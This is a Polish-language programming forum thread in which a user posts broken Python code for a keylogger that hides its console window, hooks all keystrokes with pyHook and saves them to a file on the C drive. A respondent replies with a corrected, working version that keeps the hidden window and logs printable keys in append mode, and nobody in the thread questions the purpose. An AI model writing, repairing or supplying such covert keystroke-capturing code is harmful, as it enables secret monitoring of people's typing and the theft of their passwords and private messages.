python... analiza kodu i wyswietlanie wyniku problem.

0

Witam.
Skleciłem kod ktory rozpoznaje wcisnety klawisz i zczytuje go z klawiatury po czym zapisuje do pliku wynik.txt
pogram sie kompiluje lecz odpala ale nie wyzuca wyniku.txt
kod podam osobiscie ne prv osobie ktora jest w stanie mi go sprawdzić.

korzystam z bibliotek:
import pythoncom, pyHook

pyHook musiałem sciagnać i doinstalować.

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
 if event.Ascii==5:

_exit(1)

 if event.Ascii != 0 or 8:
 f=open('c:\wynik.txt','r')

 buffer=f.read()
 f.close()

f=open('c:\wynik.txt','w')
 keylogs=chr(event.Ascii)

 if event.Ascii==13:
 keylogs='/n'
 buffer += keylogs
 f.write(buffer)
 f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
 

odswiezam

0

Na Pythonie słabo się znam, ale czy np.tutaj:

 if event.Ascii==13:
 keylogs='/n'

Po if'ie nie powinno być tab'a?

0

Po tym kodzie to raczej widać, że nie za bardzo wiesz co robisz... A ja już na pewno nie wiem co chcesz osiągnąć :( Masz przykład do sprawdzenia:

import win32api
import win32console
import win32gui
 
import pythoncom, pyHook
 
def OnKeyboardEvent(event):
    if event.Ascii == 27:
        #zakonczenie programu po nacisnieciu ESC
        exit(1)
 
    if event.Ascii == 13:
        #zamiast entera zapisujemy znak nowej linii
        keylogs = '\n'
    elif event.Ascii > 31 and event.Ascii < 127:
        #jesli kod ascii jest w zakresie od 32 do 126 to go zapisujemy 
        keylogs = chr(event.Ascii)
    else:
        #jesli nie, to nic nie zapisujemy przekazujac zdarzenie dalej
        return True
        
    #otwieramy plik w trybie do dopisywania
    f = open('c:\wynik.txt','a')
    f.write(keylogs)
    f.close()
    
    #przekazujemy zdarzenie dalej
    return True    


if __name__ == '__main__':
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win,0)
 
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

1 użytkowników online, w tym zalogowanych: 0, gości: 1